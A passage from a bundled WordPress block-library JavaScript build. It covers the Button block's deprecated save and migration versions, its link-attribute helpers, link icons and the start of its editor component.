5029 selector: "a",
5030 attribute: "rel"
5031 },
5032 placeholder: {
5033 type: "string"
5034 },
5035 backgroundColor: {
5036 type: "string"
5037 },
5038 textColor: {
5039 type: "string"
5040 },
5041 gradient: {
5042 type: "string"
5043 },
5044 width: {
5045 type: "number"
5046 }
5047 },
5048 supports: {
5049 anchor: true,
5050 align: true,
5051 alignWide: false,
5052 color: {
5053 __experimentalSkipSerialization: true,
5054 gradients: true
5055 },
5056 typography: {
5057 fontSize: true,
5058 __experimentalFontFamily: true
5059 },
5060 reusable: false,
5061 spacing: {
5062 __experimentalSkipSerialization: true,
5063 padding: ["horizontal", "vertical"],
5064 __experimentalDefaultControls: {
5065 padding: true
5066 }
5067 },
5068 __experimentalBorder: {
5069 radius: true,
5070 __experimentalSkipSerialization: true
5071 },
5072 __experimentalSelector: ".wp-block-button__link"
5073 },
5074 save({ attributes, className }) {
5075 const { fontSize, linkTarget, rel, style, text, title, url, width } = attributes;
5076 if (!text) {
5077 return null;
5078 }
5079 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetBorderClassesAndStyles)(attributes);
5080 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
5081 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
5082 const buttonClasses = dist_clsx(
5083 "wp-block-button__link",
5084 colorProps.className,
5085 borderProps.className,
5086 {
5087 // For backwards compatibility add style that isn't provided via
5088 // block support.
5089 "no-border-radius": style?.border?.radius === 0
5090 }
5091 );
5092 const buttonStyle = {
5093 ...borderProps.style,
5094 ...colorProps.style,
5095 ...spacingProps.style
5096 };
5097 const wrapperClasses = dist_clsx(className, {
5098 [`has-custom-width wp-block-button__width-${width}`]: width,
5099 [`has-custom-font-size`]: fontSize || style?.typography?.fontSize
5100 });
5101 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5102 external_wp_blockEditor_namespaceObject.RichText.Content,
5103 {
5104 tagName: "a",
5105 className: buttonClasses,
5106 href: url,
5107 title,
5108 style: buttonStyle,
5109 value: text,
5110 target: linkTarget,
5111 rel
5112 }
5113 ) });
5114 },
5115 migrate: migrate_font_family_default,
5116 isEligible({ style }) {
5117 return style?.typography?.fontFamily;
5118 }
5119};
5120const deprecated = [
5121 v12,
5122 v11,
5123 v10,
5124 {
5125 supports: {
5126 anchor: true,
5127 align: true,
5128 alignWide: false,
5129 color: {
5130 __experimentalSkipSerialization: true,
5131 gradients: true
5132 },
5133 typography: {
5134 fontSize: true,
5135 __experimentalFontFamily: true
5136 },
5137 reusable: false,
5138 __experimentalSelector: ".wp-block-button__link"
5139 },
5140 attributes: {
5141 ...blockAttributes,
5142 linkTarget: {
5143 type: "string",
5144 source: "attribute",
5145 selector: "a",
5146 attribute: "target"
5147 },
5148 rel: {
5149 type: "string",
5150 source: "attribute",
5151 selector: "a",
5152 attribute: "rel"
5153 },
5154 placeholder: {
5155 type: "string"
5156 },
5157 backgroundColor: {
5158 type: "string"
5159 },
5160 textColor: {
5161 type: "string"
5162 },
5163 gradient: {
5164 type: "string"
5165 },
5166 width: {
5167 type: "number"
5168 }
5169 },
5170 isEligible({ style }) {
5171 return typeof style?.border?.radius === "number";
5172 },
5173 save({ attributes, className }) {
5174 const {
5175 fontSize,
5176 linkTarget,
5177 rel,
5178 style,
5179 text,
5180 title,
5181 url,
5182 width
5183 } = attributes;
5184 if (!text) {
5185 return null;
5186 }
5187 const borderRadius = style?.border?.radius;
5188 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
5189 const buttonClasses = dist_clsx(
5190 "wp-block-button__link",
5191 colorProps.className,
5192 {
5193 "no-border-radius": style?.border?.radius === 0
5194 }
5195 );
5196 const buttonStyle = {
5197 borderRadius: borderRadius ? borderRadius : void 0,
5198 ...colorProps.style
5199 };
5200 const wrapperClasses = dist_clsx(className, {
5201 [`has-custom-width wp-block-button__width-${width}`]: width,
5202 [`has-custom-font-size`]: fontSize || style?.typography?.fontSize
5203 });
5204 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5205 external_wp_blockEditor_namespaceObject.RichText.Content,
5206 {
5207 tagName: "a",
5208 className: buttonClasses,
5209 href: url,
5210 title,
5211 style: buttonStyle,
5212 value: text,
5213 target: linkTarget,
5214 rel
5215 }
5216 ) });
5217 },
5218 migrate: (0,external_wp_compose_namespaceObject.compose)(migrate_font_family_default, migrateBorderRadius)
5219 },
5220 {
5221 supports: {
5222 anchor: true,
5223 align: true,
5224 alignWide: false,
5225 color: {
5226 __experimentalSkipSerialization: true
5227 },
5228 reusable: false,
5229 __experimentalSelector: ".wp-block-button__link"
5230 },
5231 attributes: {
5232 ...blockAttributes,
5233 linkTarget: {
5234 type: "string",
5235 source: "attribute",
5236 selector: "a",
5237 attribute: "target"
5238 },
5239 rel: {
5240 type: "string",
5241 source: "attribute",
5242 selector: "a",
5243 attribute: "rel"
5244 },
5245 placeholder: {
5246 type: "string"
5247 },
5248 borderRadius: {
5249 type: "number"
5250 },
5251 backgroundColor: {
5252 type: "string"
5253 },
5254 textColor: {
5255 type: "string"
5256 },
5257 gradient: {
5258 type: "string"
5259 },
5260 style: {
5261 type: "object"
5262 },
5263 width: {
5264 type: "number"
5265 }
5266 },
5267 save({ attributes, className }) {
5268 const { borderRadius, linkTarget, rel, text, title, url, width } = attributes;
5269 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
5270 const buttonClasses = dist_clsx(
5271 "wp-block-button__link",
5272 colorProps.className,
5273 {
5274 "no-border-radius": borderRadius === 0
5275 }
5276 );
5277 const buttonStyle = {
5278 borderRadius: borderRadius ? borderRadius + "px" : void 0,
5279 ...colorProps.style
5280 };
5281 const wrapperClasses = dist_clsx(className, {
5282 [`has-custom-width wp-block-button__width-${width}`]: width
5283 });
5284 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5285 external_wp_blockEditor_namespaceObject.RichText.Content,
5286 {
5287 tagName: "a",
5288 className: buttonClasses,
5289 href: url,
5290 title,
5291 style: buttonStyle,
5292 value: text,
5293 target: linkTarget,
5294 rel
5295 }
5296 ) });
5297 },
5298 migrate: (0,external_wp_compose_namespaceObject.compose)(migrate_font_family_default, migrateBorderRadius)
5299 },
5300 {
5301 supports: {
5302 anchor: true,
5303 align: true,
5304 alignWide: false,
5305 color: {
5306 __experimentalSkipSerialization: true
5307 },
5308 reusable: false,
5309 __experimentalSelector: ".wp-block-button__link"
5310 },
5311 attributes: {
5312 ...blockAttributes,
5313 linkTarget: {
5314 type: "string",
5315 source: "attribute",
5316 selector: "a",
5317 attribute: "target"
5318 },
5319 rel: {
5320 type: "string",
5321 source: "attribute",
5322 selector: "a",
5323 attribute: "rel"
5324 },
5325 placeholder: {
5326 type: "string"
5327 },
5328 borderRadius: {
5329 type: "number"
5330 },
5331 backgroundColor: {
5332 type: "string"
5333 },
5334 textColor: {
5335 type: "string"
5336 },
5337 gradient: {
5338 type: "string"
5339 },
5340 style: {
5341 type: "object"
5342 },
5343 width: {
5344 type: "number"
5345 }
5346 },
5347 save({ attributes, className }) {
5348 const { borderRadius, linkTarget, rel, text, title, url, width } = attributes;
5349 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetColorClassesAndStyles)(attributes);
5350 const buttonClasses = dist_clsx(
5351 "wp-block-button__link",
5352 colorProps.className,
5353 {
5354 "no-border-radius": borderRadius === 0
5355 }
5356 );
5357 const buttonStyle = {
5358 borderRadius: borderRadius ? borderRadius + "px" : void 0,
5359 ...colorProps.style
5360 };
5361 const wrapperClasses = dist_clsx(className, {
5362 [`has-custom-width wp-block-button__width-${width}`]: width
5363 });
5364 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5365 external_wp_blockEditor_namespaceObject.RichText.Content,
5366 {
5367 tagName: "a",
5368 className: buttonClasses,
5369 href: url,
5370 title,
5371 style: buttonStyle,
5372 value: text,
5373 target: linkTarget,
5374 rel
5375 }
5376 ) });
5377 },
5378 migrate: (0,external_wp_compose_namespaceObject.compose)(migrate_font_family_default, migrateBorderRadius)
5379 },
5380 {
5381 supports: {
5382 align: true,
5383 alignWide: false,
5384 color: { gradients: true }
5385 },
5386 attributes: {
5387 ...blockAttributes,
5388 linkTarget: {
5389 type: "string",
5390 source: "attribute",
5391 selector: "a",
5392 attribute: "target"
5393 },
5394 rel: {
5395 type: "string",
5396 source: "attribute",
5397 selector: "a",
5398 attribute: "rel"
5399 },
5400 placeholder: {
5401 type: "string"
5402 },
5403 borderRadius: {
5404 type: "number"
5405 },
5406 backgroundColor: {
5407 type: "string"
5408 },
5409 textColor: {
5410 type: "string"
5411 },
5412 gradient: {
5413 type: "string"
5414 },
5415 style: {
5416 type: "object"
5417 }
5418 },
5419 save({ attributes }) {
5420 const { borderRadius, linkTarget, rel, text, title, url } = attributes;
5421 const buttonClasses = dist_clsx("wp-block-button__link", {
5422 "no-border-radius": borderRadius === 0
5423 });
5424 const buttonStyle = {
5425 borderRadius: borderRadius ? borderRadius + "px" : void 0
5426 };
5427 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5428 external_wp_blockEditor_namespaceObject.RichText.Content,
5429 {
5430 tagName: "a",
5431 className: buttonClasses,
5432 href: url,
5433 title,
5434 style: buttonStyle,
5435 value: text,
5436 target: linkTarget,
5437 rel
5438 }
5439 );
5440 },
5441 migrate: migrateBorderRadius
5442 },
5443 {
5444 supports: {
5445 align: true,
5446 alignWide: false
5447 },
5448 attributes: {
5449 ...blockAttributes,
5450 linkTarget: {
5451 type: "string",
5452 source: "attribute",
5453 selector: "a",
5454 attribute: "target"
5455 },
5456 rel: {
5457 type: "string",
5458 source: "attribute",
5459 selector: "a",
5460 attribute: "rel"
5461 },
5462 placeholder: {
5463 type: "string"
5464 },
5465 borderRadius: {
5466 type: "number"
5467 },
5468 backgroundColor: {
5469 type: "string"
5470 },
5471 textColor: {
5472 type: "string"
5473 },
5474 customBackgroundColor: {
5475 type: "string"
5476 },
5477 customTextColor: {
5478 type: "string"
5479 },
5480 customGradient: {
5481 type: "string"
5482 },
5483 gradient: {
5484 type: "string"
5485 }
5486 },
5487 isEligible: (attributes) => !!attributes.customTextColor || !!attributes.customBackgroundColor || !!attributes.customGradient || !!attributes.align,
5488 migrate: (0,external_wp_compose_namespaceObject.compose)(
5489 migrateBorderRadius,
5490 migrateCustomColorsAndGradients,
5491 migrateAlign
5492 ),
5493 save({ attributes }) {
5494 const {
5495 backgroundColor,
5496 borderRadius,
5497 customBackgroundColor,
5498 customTextColor,
5499 customGradient,
5500 linkTarget,
5501 gradient,
5502 rel,
5503 text,
5504 textColor,
5505 title,
5506 url
5507 } = attributes;
5508 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
5509 const backgroundClass = !customGradient && (0,external_wp_blockEditor_namespaceObject.getColorClassName)("background-color", backgroundColor);
5510 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
5511 const buttonClasses = dist_clsx("wp-block-button__link", {
5512 "has-text-color": textColor || customTextColor,
5513 [textClass]: textClass,
5514 "has-background": backgroundColor || customBackgroundColor || customGradient || gradient,
5515 [backgroundClass]: backgroundClass,
5516 "no-border-radius": borderRadius === 0,
5517 [gradientClass]: gradientClass
5518 });
5519 const buttonStyle = {
5520 background: customGradient ? customGradient : void 0,
5521 backgroundColor: backgroundClass || customGradient || gradient ? void 0 : customBackgroundColor,
5522 color: textClass ? void 0 : customTextColor,
5523 borderRadius: borderRadius ? borderRadius + "px" : void 0
5524 };
5525 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5526 external_wp_blockEditor_namespaceObject.RichText.Content,
5527 {
5528 tagName: "a",
5529 className: buttonClasses,
5530 href: url,
5531 title,
5532 style: buttonStyle,
5533 value: text,
5534 target: linkTarget,
5535 rel
5536 }
5537 ) });
5538 }
5539 },
5540 {
5541 attributes: {
5542 ...blockAttributes,
5543 align: {
5544 type: "string",
5545 default: "none"
5546 },
5547 backgroundColor: {
5548 type: "string"
5549 },
5550 textColor: {
5551 type: "string"
5552 },
5553 customBackgroundColor: {
5554 type: "string"
5555 },
5556 customTextColor: {
5557 type: "string"
5558 },
5559 linkTarget: {
5560 type: "string",
5561 source: "attribute",
5562 selector: "a",
5563 attribute: "target"
5564 },
5565 rel: {
5566 type: "string",
5567 source: "attribute",
5568 selector: "a",
5569 attribute: "rel"
5570 },
5571 placeholder: {
5572 type: "string"
5573 }
5574 },
5575 isEligible(attribute) {
5576 return attribute.className && attribute.className.includes("is-style-squared");
5577 },
5578 migrate(attributes) {
5579 let newClassName = attributes.className;
5580 if (newClassName) {
5581 newClassName = newClassName.replace(/is-style-squared[\s]?/, "").trim();
5582 }
5583 return migrateBorderRadius(
5584 migrateCustomColorsAndGradients({
5585 ...attributes,
5586 className: newClassName ? newClassName : void 0,
5587 borderRadius: 0
5588 })
5589 );
5590 },
5591 save({ attributes }) {
5592 const {
5593 backgroundColor,
5594 customBackgroundColor,
5595 customTextColor,
5596 linkTarget,
5597 rel,
5598 text,
5599 textColor,
5600 title,
5601 url
5602 } = attributes;
5603 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
5604 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
5605 "background-color",
5606 backgroundColor
5607 );
5608 const buttonClasses = dist_clsx("wp-block-button__link", {
5609 "has-text-color": textColor || customTextColor,
5610 [textClass]: textClass,
5611 "has-background": backgroundColor || customBackgroundColor,
5612 [backgroundClass]: backgroundClass
5613 });
5614 const buttonStyle = {
5615 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
5616 color: textClass ? void 0 : customTextColor
5617 };
5618 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5619 external_wp_blockEditor_namespaceObject.RichText.Content,
5620 {
5621 tagName: "a",
5622 className: buttonClasses,
5623 href: url,
5624 title,
5625 style: buttonStyle,
5626 value: text,
5627 target: linkTarget,
5628 rel
5629 }
5630 ) });
5631 }
5632 },
5633 {
5634 attributes: {
5635 ...blockAttributes,
5636 align: {
5637 type: "string",
5638 default: "none"
5639 },
5640 backgroundColor: {
5641 type: "string"
5642 },
5643 textColor: {
5644 type: "string"
5645 },
5646 customBackgroundColor: {
5647 type: "string"
5648 },
5649 customTextColor: {
5650 type: "string"
5651 }
5652 },
5653 migrate: oldColorsMigration,
5654 save({ attributes }) {
5655 const {
5656 url,
5657 text,
5658 title,
5659 backgroundColor,
5660 textColor,
5661 customBackgroundColor,
5662 customTextColor
5663 } = attributes;
5664 const textClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", textColor);
5665 const backgroundClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
5666 "background-color",
5667 backgroundColor
5668 );
5669 const buttonClasses = dist_clsx("wp-block-button__link", {
5670 "has-text-color": textColor || customTextColor,
5671 [textClass]: textClass,
5672 "has-background": backgroundColor || customBackgroundColor,
5673 [backgroundClass]: backgroundClass
5674 });
5675 const buttonStyle = {
5676 backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
5677 color: textClass ? void 0 : customTextColor
5678 };
5679 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5680 external_wp_blockEditor_namespaceObject.RichText.Content,
5681 {
5682 tagName: "a",
5683 className: buttonClasses,
5684 href: url,
5685 title,
5686 style: buttonStyle,
5687 value: text
5688 }
5689 ) });
5690 }
5691 },
5692 {
5693 attributes: {
5694 ...blockAttributes,
5695 color: {
5696 type: "string"
5697 },
5698 textColor: {
5699 type: "string"
5700 },
5701 align: {
5702 type: "string",
5703 default: "none"
5704 }
5705 },
5706 save({ attributes }) {
5707 const { url, text, title, align, color, textColor } = attributes;
5708 const buttonStyle = {
5709 backgroundColor: color,
5710 color: textColor
5711 };
5712 const linkClass = "wp-block-button__link";
5713 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: `align${align}`, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5714 external_wp_blockEditor_namespaceObject.RichText.Content,
5715 {
5716 tagName: "a",
5717 className: linkClass,
5718 href: url,
5719 title,
5720 style: buttonStyle,
5721 value: text
5722 }
5723 ) });
5724 },
5725 migrate: oldColorsMigration
5726 },
5727 {
5728 attributes: {
5729 ...blockAttributes,
5730 color: {
5731 type: "string"
5732 },
5733 textColor: {
5734 type: "string"
5735 },
5736 align: {
5737 type: "string",
5738 default: "none"
5739 }
5740 },
5741 save({ attributes }) {
5742 const { url, text, title, align, color, textColor } = attributes;
5743 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5744 "div",
5745 {
5746 className: `align${align}`,
5747 style: { backgroundColor: color },
5748 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5749 external_wp_blockEditor_namespaceObject.RichText.Content,
5750 {
5751 tagName: "a",
5752 href: url,
5753 title,
5754 style: { color: textColor },
5755 value: text
5756 }
5757 )
5758 }
5759 );
5760 },
5761 migrate: oldColorsMigration
5762 }
5763];
5764var button_deprecated_deprecated_default = deprecated;
5765
5766
5767;// ./node_modules/@wordpress/block-library/build-module/button/constants.js
5768const NEW_TAB_REL = "noreferrer noopener";
5769const NEW_TAB_TARGET = "_blank";
5770const NOFOLLOW_REL = "nofollow";
5771
5772
5773;// ./node_modules/@wordpress/block-library/build-module/button/get-updated-link-attributes.js
5774
5775
5776function getUpdatedLinkAttributes({
5777 rel = "",
5778 url = "",
5779 opensInNewTab,
5780 nofollow
5781}) {
5782 let newLinkTarget;
5783 let updatedRel = rel;
5784 if (opensInNewTab) {
5785 newLinkTarget = NEW_TAB_TARGET;
5786 updatedRel = updatedRel?.includes(NEW_TAB_REL) ? updatedRel : updatedRel + ` ${NEW_TAB_REL}`;
5787 } else {
5788 const relRegex = new RegExp(`\\b${NEW_TAB_REL}\\s*`, "g");
5789 updatedRel = updatedRel?.replace(relRegex, "").trim();
5790 }
5791 if (nofollow) {
5792 updatedRel = updatedRel?.includes(NOFOLLOW_REL) ? updatedRel : (updatedRel + ` ${NOFOLLOW_REL}`).trim();
5793 } else {
5794 const relRegex = new RegExp(`\\b${NOFOLLOW_REL}\\s*`, "g");
5795 updatedRel = updatedRel?.replace(relRegex, "").trim();
5796 }
5797 return {
5798 url: (0,external_wp_url_namespaceObject.prependHTTP)(url),
5799 linkTarget: newLinkTarget,
5800 rel: updatedRel || void 0
5801 };
5802}
5803
5804
5805;// ./node_modules/@wordpress/block-library/build-module/utils/remove-anchor-tag.js
5806function removeAnchorTag(value) {
5807 return value.toString().replace(/<\/?a[^>]*>/g, "");
5808}
5809
5810
5811;// external ["wp","keycodes"]
5812const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
5813;// ./node_modules/@wordpress/icons/build-module/library/link.js
5814
5815
5816var link_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z" }) });
5817
5818
5819;// ./node_modules/@wordpress/icons/build-module/library/link-off.js
5820
5821
5822var link_off_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.031 4.703 15.576 4l-1.56 3H14v.03l-2.324 4.47H9.5V13h1.396l-1.502 2.889h-.95a3.694 3.694 0 0 1 0-7.389H10V7H8.444a5.194 5.194 0 1 0 0 10.389h.17L7.5 19.53l1.416.719L15.049 8.5h.507a3.694 3.694 0 0 1 0 7.39H14v1.5h1.556a5.194 5.194 0 0 0 .273-10.383l1.202-2.304Z" }) });
5823
5824
5825;// ./node_modules/@wordpress/block-library/build-module/button/edit.js
5826
5827
5828
5829
5830
5831
5832
5833
5834
5835
5836
5837
5838
5839
5840
5841
5842const { HTMLElementControl } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
5843const LINK_SETTINGS = [
5844 ...external_wp_blockEditor_namespaceObject.LinkControl.DEFAULT_LINK_SETTINGS,
5845 {
5846 id: "nofollow",
5847 title: (0,external_wp_i18n_namespaceObject.__)("Mark as nofollow")
5848 }
5849];
5850function useEnter(props) {
5851 const { replaceBlocks, selectionChange } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
5852 const { getBlock, getBlockRootClientId, getBlockIndex } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
5853 const propsRef = (0,external_wp_element_namespaceObject.useRef)(props);
5854 propsRef.current = props;
5855 return (0,external_wp_compose_namespaceObject.useRefEffect)((element) => {
5856 function onKeyDown(event) {
5857 if (event.defaultPrevented || event.keyCode !== external_wp_keycodes_namespaceObject.ENTER) {
5858 return;
5859 }
5860 const { content, clientId } = propsRef.current;
5861 if (content.length) {
5862 return;
5863 }
5864 event.preventDefault();
5865 const topParentListBlock = getBlock(
5866 getBlockRootClientId(clientId)
5867 );
5868 const blockIndex = getBlockIndex(clientId);
5869 const head = (0,external_wp_blocks_namespaceObject.cloneBlock)({
5870 ...topParentListBlock,
5871 innerBlocks: topParentListBlock.innerBlocks.slice(
5872 0,
5873 blockIndex
5874 )
5875 });
5876 const middle = (0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)());
5877 const after = topParentListBlock.innerBlocks.slice(
5878 blockIndex + 1
5879 );
5880 const tail = after.length ? [
5881 (0,external_wp_blocks_namespaceObject.cloneBlock)({
5882 ...topParentListBlock,
5883 innerBlocks: after
5884 })
5885 ] : [];
5886 replaceBlocks(
5887 topParentListBlock.clientId,
5888 [head, middle, ...tail],
5889 1
5890 );
5891 selectionChange(middle.clientId);
5892 }
5893 element.addEventListener("keydown", onKeyDown);
5894 return () => {
5895 element.removeEventListener("keydown", onKeyDown);
5896 };
5897 }, []);
5898}
5899function WidthPanel({ selectedWidth, setAttributes }) {
5900 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
5901 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5902 external_wp_components_namespaceObject.__experimentalToolsPanel,
5903 {
5904 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
5905 resetAll: () => setAttributes({ width: void 0 }),
5906 dropdownMenuProps,
5907 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5908 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
5909 {
5910 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
5911 isShownByDefault: true,
5912 hasValue: () => !!selectedWidth,
5913 onDeselect: () => setAttributes({ width: void 0 }),
5914 __nextHasNoMarginBottom: true,
5915 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5916 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
5917 {
5918 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
5919 value: selectedWidth,
5920 onChange: (newWidth) => setAttributes({ width: newWidth }),
5921 isBlock: true,
5922 __next40pxDefaultSize: true,
5923 __nextHasNoMarginBottom: true,
5924 children: [25, 50, 75, 100].map((widthValue) => {
5925 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5926 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
5927 {
5928 value: widthValue,
5929 label: (0,external_wp_i18n_namespaceObject.sprintf)(
5930 /* translators: %d: Percentage value. */
5931 (0,external_wp_i18n_namespaceObject.__)("%d%%"),
5932 widthValue
5933 )
5934 },
5935 widthValue
5936 );
5937 })
5938 }
5939 )
5940 }
5941 )
5942 }
5943 );
5944}
5945function ButtonEdit(props) {
5946 const {
5947 attributes,
5948 setAttributes,
5949 className,
5950 isSelected,
5951 onReplace,
5952 mergeBlocks,
5953 clientId,
5954 context
5955 } = props;
5956 const {
5957 tagName,
5958 textAlign,
5959 linkTarget,
5960 placeholder,
5961 rel,
5962 style,
5963 text,
5964 url,
5965 width,
5966 metadata
5967 } = attributes;
5968 const TagName = tagName || "a";
5969 function onKeyDown(event) {
5970 if (external_wp_keycodes_namespaceObject.isKeyboardEvent.primary(event, "k")) {
5971 startEditing(event);
5972 } else if (external_wp_keycodes_namespaceObject.isKeyboardEvent.primaryShift(event, "k")) {
5973 unlink();
5974 richTextRef.current?.focus();
5975 }
5976 }
5977 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
5978 const borderProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBorderProps)(attributes);
5979 const colorProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseColorProps)(attributes);
5980 const spacingProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetSpacingClassesAndStyles)(attributes);
5981 const shadowProps = (0,external_wp_blockEditor_namespaceObject.__experimentalGetShadowClassesAndStyles)(attributes);
5982 const ref = (0,external_wp_element_namespaceObject.useRef)();
5983 const richTextRef = (0,external_wp_element_namespaceObject.useRef)();
5984 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
5985 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([setPopoverAnchor, ref]),
5986 onKeyDown
5987 });
5988 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
5989 const [isEditingURL, setIsEditingURL] = (0,external_wp_element_namespaceObject.useState)(false);
5990 const isURLSet = !!url;
5991 const opensInNewTab = linkTarget === NEW_TAB_TARGET;
5992 const nofollow = !!rel?.includes(NOFOLLOW_REL);
5993 const isLinkTag = "a" === TagName;
5994 const {
5995 createPageEntity,
5996 userCanCreatePages,
5997 lockUrlControls = false
5998 } = (0,external_wp_data_namespaceObject.useSelect)(
5999 (select) => {
6000 if (!isSelected) {
6001 return {};
6002 }
6003 const _settings = select(external_wp_blockEditor_namespaceObject.store).getSettings();
6004 const blockBindingsSource = (0,external_wp_blocks_namespaceObject.getBlockBindingsSource)(
6005 metadata?.bindings?.url?.source
6006 );
6007 return {
6008 createPageEntity: _settings.__experimentalCreatePageEntity,
6009 userCanCreatePages: _settings.__experimentalUserCanCreatePages,
6010 lockUrlControls: !!metadata?.bindings?.url && !blockBindingsSource?.canUserEditValue?.({
6011 select,
6012 context,
6013 args: metadata?.bindings?.url?.args
6014 })
6015 };
6016 },
6017 [context, isSelected, metadata?.bindings?.url]
6018 );
6019 async function handleCreate(pageTitle) {
6020 const page = await createPageEntity({
6021 title: pageTitle,
6022 status: "draft"
6023 });
6024 return {
6025 id: page.id,
6026 type: page.type,
6027 title: page.title.rendered,
6028 url: page.link,
6029 kind: "post-type"
6030 };
6031 }
6032 function createButtonText(searchTerm) {
6033 return (0,external_wp_element_namespaceObject.createInterpolateElement)(
6034 (0,external_wp_i18n_namespaceObject.sprintf)(
6035 /* translators: %s: search term. */
6036 (0,external_wp_i18n_namespaceObject.__)("Create page: <mark>%s</mark>"),
6037 searchTerm
6038 ),
6039 { mark: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("mark", {}) }
6040 );
6041 }
6042 function startEditing(event) {
6043 event.preventDefault();
6044 setIsEditingURL(true);
6045 }
6046 function unlink() {
6047 setAttributes({
6048 url: void 0,
6049 linkTarget: void 0,
6050 rel: void 0
6051 });
6052 setIsEditingURL(false);
6053 }
6054 (0,external_wp_element_namespaceObject.useEffect)(() => {
6055 if (!isSelected) {
6056 setIsEditingURL(false);
6057 }
6058 }, [isSelected]);
6059 const linkValue = (0,external_wp_element_namespaceObject.useMemo)(
6060 () => ({ url, opensInNewTab, nofollow }),
6061 [url, opensInNewTab, nofollow]
6062 );
6063 const useEnterRef = useEnter({ content: text, clientId });
6064 const mergedRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([useEnterRef, richTextRef]);
6065 const [fluidTypographySettings, layout] = (0,external_wp_blockEditor_namespaceObject.useSettings)(
6066 "typography.fluid",
